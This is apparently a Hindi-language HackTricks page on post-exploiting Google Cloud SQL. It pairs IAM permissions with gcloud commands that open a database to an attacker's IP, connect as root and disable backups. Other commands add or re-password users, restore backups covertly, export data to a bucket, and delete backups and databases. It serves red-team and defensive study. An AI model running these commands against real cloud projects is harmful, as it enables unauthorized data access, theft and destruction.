GCP - Cloud SQL Post Exploitation
Reading time: 4 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Cloud SQL
Cloud SQL के बारे में अधिक जानकारी के लिए देखें:
cloudsql.instances.update
, ( cloudsql.instances.get
)
डेटाबेस से कनेक्ट करने के लिए आपको बस डेटाबेस पोर्ट तक पहुंच की आवश्यकता है और यूजरनेम और पासवर्ड पता होना चाहिए, कोई IAM आवश्यकताएँ नहीं हैं। इसलिए, एक आसान तरीका है कि यदि डेटाबेस का एक सार्वजनिक IP पता है, तो अनुमत नेटवर्क को अपडेट करें और अपने स्वयं के IP पते को इसे एक्सेस करने की अनुमति दें।
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet
mysql -h <ip_db> # If mysql
# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet
यह भी संभव है कि --no-backup
का उपयोग करके डेटाबेस के बैकअप को बाधित किया जा सके।
चूंकि ये आवश्यकताएँ हैं, मैं पूरी तरह से निश्चित नहीं हूँ कि cloudsql.instances.connect
और cloudsql.instances.login
के लिए अनुमतियाँ क्या हैं। यदि आप जानते हैं तो एक PR भेजें!
cloudsql.users.list
डेटाबेस के सभी उपयोगकर्ताओं की सूची प्राप्त करें:
gcloud sql users list --instance <intance-name>
cloudsql.users.create
यह अनुमति डेटाबेस के अंदर एक नया उपयोगकर्ता बनाने की अनुमति देती है:
gcloud sql users create <username> --instance <instance-name> --password <password>
cloudsql.users.update
यह अनुमति डेटाबेस के अंदर उपयोगकर्ता को अपडेट करने की अनुमति देती है। उदाहरण के लिए, आप इसका पासवर्ड बदल सकते हैं:
gcloud sql users set-password <username> --instance <instance-name> --password <password>
cloudsql.instances.restoreBackup
, cloudsql.backupRuns.get
बैकअप में पुरानी संवेदनशील जानकारी हो सकती है, इसलिए उन्हें चेक करना दिलचस्प है।
एक बैकअप को डेटाबेस के अंदर पुनर्स्थापित करें:
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
इसे अधिक छिपे हुए तरीके से करने के लिए, एक नया SQL इंस्टेंस बनाना और वहां डेटा को पुनर्प्राप्त करना अनुशंसित है, बजाय वर्तमान में चल रहे डेटाबेस में।
cloudsql.backupRuns.delete
यह अनुमति बैकअप को हटाने की अनुमति देती है:
gcloud sql backups delete <backup-id> --instance <instance-id>
cloudsql.instances.export
, storage.objects.create
एक डेटाबेस का निर्यात करें ताकि आप उसे वहां से एक्सेस कर सकें:
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
cloudsql.instances.import
, storage.objects.get
एक डेटाबेस आयात करें (ओवरराइट) एक क्लाउड स्टोरेज बकेट से:
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
cloudsql.databases.delete
db instance से एक डेटाबेस हटाएं:
gcloud sql databases delete <db-name> --instance <instance-id>
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।